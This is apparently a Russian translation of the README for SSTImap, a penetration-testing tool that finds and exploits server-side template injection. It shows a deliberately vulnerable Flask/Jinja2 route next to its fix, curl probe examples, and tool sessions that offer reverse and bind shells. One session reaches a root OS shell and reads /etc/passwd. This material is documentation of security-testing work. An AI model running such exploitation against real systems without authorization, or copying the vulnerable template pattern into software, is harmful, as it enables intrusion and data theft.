SSTImap

Этот проект основан на Tplmap.

SSTImap — это программное обеспечение для тестирования на проникновение, которое может проверять веб-сайты на наличие уязвимостей внедрения кода и Server-Side Template Injection, а также эксплуатировать их, предоставляя доступ к самой операционной системе.

Этот инструмент был разработан для использования в качестве интерактивного инструмента тестирования на проникновение для обнаружения и эксплуатации SSTI, что позволяет проводить более продвинутую эксплуатацию. Дополнительные полезные нагрузки для SSTImap можно найти здесь.

Полезные нагрузки и техники взяты из:

• James Kettle's Server-Side Template Injection: RCE For The Modern Web App
• Других публичных исследований [1] [2] [8]
• Вкладов в Tplmap [3] [4]
• Моих собственных исследований [9]

Этот инструмент способен эксплуатировать некоторые побеги из контекста кода и сценарии слепого внедрения. Он также поддерживает внедрение кода, подобное eval(), в Java, JavaScript, PHP, Python, Ruby и универсальных шаблонизаторах без песочницы.

Ключевые отличия от Tplmap

Хотя это программное обеспечение основано на коде Tplmap, обратная совместимость не обеспечивается.

• Добавлены две новые техники для обнаружения и эксплуатации SSTI
• Интерактивный режим (-i), обеспечивающий более лёгкую эксплуатацию и обнаружение
• Простые оценочные полезные нагрузки в качестве маркеров ответа в случае отражения полезной нагрузки
• Добавлены новые полезные нагрузки для универсальных шаблонов, для тестирования всех контекстов используйте --generic
• Универсальное обнаружение внедрения шаблонов с помощью модуля Eval_generic
• Выполнение оболочки (eval()-подобной) на базовом языке (-x) или одиночной команды (-X)
• Слепая загрузка файлов теперь поддерживает подтверждение MD5 и проверку существования файла
• Добавлены новые полезные нагрузки для большего количества шаблонов и обновлены многие существующие
• Модульная структура плагинов, позволяющая установку дополнительных плагинов
• Поддержка различных типов данных POST
• Добавлены обход сайта (crawling) и обнаружение форм
• Добавлены короткие версии для многих аргументов
• Некоторые старые аргументы командной строки были изменены, проверьте -h для справки
• Код изменён для использования более новых возможностей Python
• Расширение Burp Suite временно удалено, так как Jython не поддерживает Python3

Server-Side Template Injection

Это пример простого веб-сайта, написанного на Python с использованием фреймворка Flask и шаблонизатора Jinja2. Он интегрирует предоставленную пользователем переменную name небезопасным способом, так как она конкатенируется со строкой шаблона перед рендерингом.

from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

@app.route("/page")
def page():
    name = request.args.get('name', 'World')
    # SSTI VULNERABILITY:
    template = f"Hello, {name}!<br>\n" \
                "OS type: {{os}}"
    return render_template_string(template, os=os.name)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

Такой способ использования шаблонов не только создаёт уязвимость XSS, но и позволяет атакующему внедрить код шаблона, который будет выполнен на сервере, что приводит к SSTI.

$ curl -g 'https://www.target.com/page?name=John'
Hello John!<br>
OS type: posix
$ curl -g 'https://www.target.com/page?name={{7*7}}'
Hello 49!<br>
OS type: posix

Предоставленные пользователем данные должны вводиться безопасным способом через контекст рендеринга:

from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

@app.route("/page")
def page():
    name = request.args.get('name', 'World')
    template = "Hello, {{name}}!<br>\n" \
               "OS type: {{os}}"
    return render_template_string(template, name=name, os=os.name)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

Предопределённый режим

SSTImap в предопределённом режиме очень похож на Tplmap. Он способен обнаруживать и эксплуатировать уязвимости SSTI в множестве различных шаблонов.

После эксплуатации SSTImap может предоставить доступ к оценке кода, выполнению команд ОС и манипуляциям с файловой системой.

Для проверки URL-адреса используйте аргумент -u:

$ ./sstimap.py -u https://example.com/page?name=John

    ╔══════╦══════╦═══════╗ ▀█▀
    ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
    ║ ╚════╣ ╚════╗  ║ ║    ║{║ _ __ ___   __ _ _ __
    ╚════╗ ╠════╗ ║  ║ ║    ║*║ | '_ ` _ \ / _` | '_ \
    ╔════╝ ╠════╝ ║  ║ ║    ║}║ | | | | | | (_| | |_) |
    ╚══════╩══════╝  ╚═╝    ╚╦╝ |_| |_| |_|\__,_| .__/
                             │                  | |
                                                |_|
[*] Version: 1.4.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. 
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program


[*] Testing if GET parameter 'name' is injectable   
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

    Shell command execution: ok
    Bind and reverse shell: ok
    File write: ok
    File read: ok
    Code evaluation: ok, python code

[+] Rerun SSTImap providing one of the following options:
    --os-shell                   Prompt for an interactive operating system shell
    --os-cmd                     Execute an operating system command.
    --eval-shell                 Prompt for an interactive shell on the template engine base language.
    --eval-cmd                   Evaluate code in the template engine base language.
    --tpl-shell                  Prompt for an interactive shell on the template engine.
    --tpl-cmd                    Inject code in the template engine.
    --bind-shell PORT            Connect to a shell bind to a target port
    --reverse-shell HOST PORT    Send a shell back to the attacker's port
    --upload LOCAL REMOTE        Upload files to the server
    --download REMOTE LOCAL      Download remote files

Используйте опцию --os-shell для запуска псевдо-терминала на цели.

$ ./sstimap.py -u https://example.com/page?name=John --os-shell

    ╔══════╦══════╦═══════╗ ▀█▀
    ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
    ║ ╚════╣ ╚════╗  ║ ║    ║{║ _ __ ___   __ _ _ __
    ╚════╗ ╠════╗ ║  ║ ║    ║*║ | '_ ` _ \ / _` | '_ \
    ╔════╝ ╠════╝ ║  ║ ║    ║}║ | | | | | | (_| | |_) |
    ╚══════╩══════╝  ╚═╝    ╚╦╝ |_| |_| |_|\__,_| .__/
                             │                  | |
                                                |_|
[*] Version: 1.4.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. 
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] Loaded plugins by categories: languages: 6; generic: 5; java: 4; javascript: 7; php: 3; python: 5; ruby: 2
[*] Loaded request body types by categories: auto: 1; http: 1; object: 2; raw: 3


[*] Testing if GET parameter 'name' is injectable
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

    Shell command execution: ok
    Bind and reverse shell: ok
    File write: ok
    File read: ok
    Code evaluation: ok, python code

[+] Run commands on the operating system.
posix-linux $ whoami
root
posix-linux $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

Чтобы получить полный список опций, используйте аргумент --help.

Интерактивный режим

В интерактивном режиме для взаимодействия с SSTImap используются команды. Чтобы войти в интерактивный режим, используйте аргумент -i. Все остальные аргументы, кроме тех, что касаются полезных нагрузок для эксплуатации, будут использоваться в качестве начальных значений для настроек.

Некоторые команды используются для изменения настроек между запусками тестов. Чтобы запустить тест, целевой URL-адрес должен быть указан через начальный аргумент -u или команду url. После этого вы можете использовать команду run для проверки URL-адреса на наличие SSTI.

Если SSTI была обнаружена, команды можно использовать для начала эксплуатации. Вы можете получить те же возможности эксплуатации, что и в предопределённом режиме, но вы можете использовать Ctrl+C для их прерывания без остановки программы.

Кстати, результаты тестов действительны до тех пор, пока целевой URL-адрес не изменён, поэтому вы можете легко переключаться между методами эксплуатации без повторного запуска теста обнаружения каждый раз.

Чтобы получить полный список интерактивных команд, используйте команду help в интерактивном режиме.

Поддерживаемые шаблонизаторы

SSTImap поддерживает множество шаблонизаторов и внедрения, подобные eval().

Новые полезные нагрузки приветствуются в PR. Ознакомьтесь с советами, чтобы ускорить разработку.

Техники: (R)endered, (E)rror-based, (B)oolean error-based blind и (T)ime-based blind; Строчная буква обозначает частично поддерживаемую технику

Больше плагинов и полезных нагрузок можно найти в репозитории SSTImap Extra Plugins.

Плагин Burp Suite

В настоящее время Burp Suite работает только с Jython как способом выполнения python2. Функциональность Python3 не предоставляется.

Планы на будущее

Если вы планируете внести что-то значительное из этого списка, сообщите мне, чтобы избежать работы над тем же, что и я, или другие участники.

• Добавить больше полезных нагрузок для различных движков
• Сделать плагины менее зависимыми от базовых плагинов
• Разбор сырого HTTP-запроса из файла
• Функциональность дампа переменных
• Слепое/побочное извлечение значений
• Лучшая документация (или хотя бы какая-либо документация)
• Короткие аргументы как интерактивные команды?
• Режимы API JSONL/plaintext для интеграций со скриптами?
• Лучшая интеграция для Python-скриптов
• Поддержка типа данных multipart POST
• Модули для более настраиваемых запросов (второй порядок, сброс, не-HTTP)
• Скрипты обработки полезных нагрузок
• Лучшая функциональность конфигурации
• Сохранение найденных уязвимостей
• Отчёты в HTML или другом формате
• Многострочная оценка языка?
• Избегать зависимости от платформы в полезных нагрузках
• Тестирование нескольких оболочек в сценариях RCE на основе exec
• Обновить полезные нагрузки NodeJS, так как process.mainModule может быть неопределён
• Автоматизация Spider/crawler (от fantesykikachu)
• Автоматический импорт языков и движков
• Поддержка большего количества типов данных POST
• Сделать функциональность оценки шаблона и базового языка более единообразной
• Аргумент для удаления escape-кодов?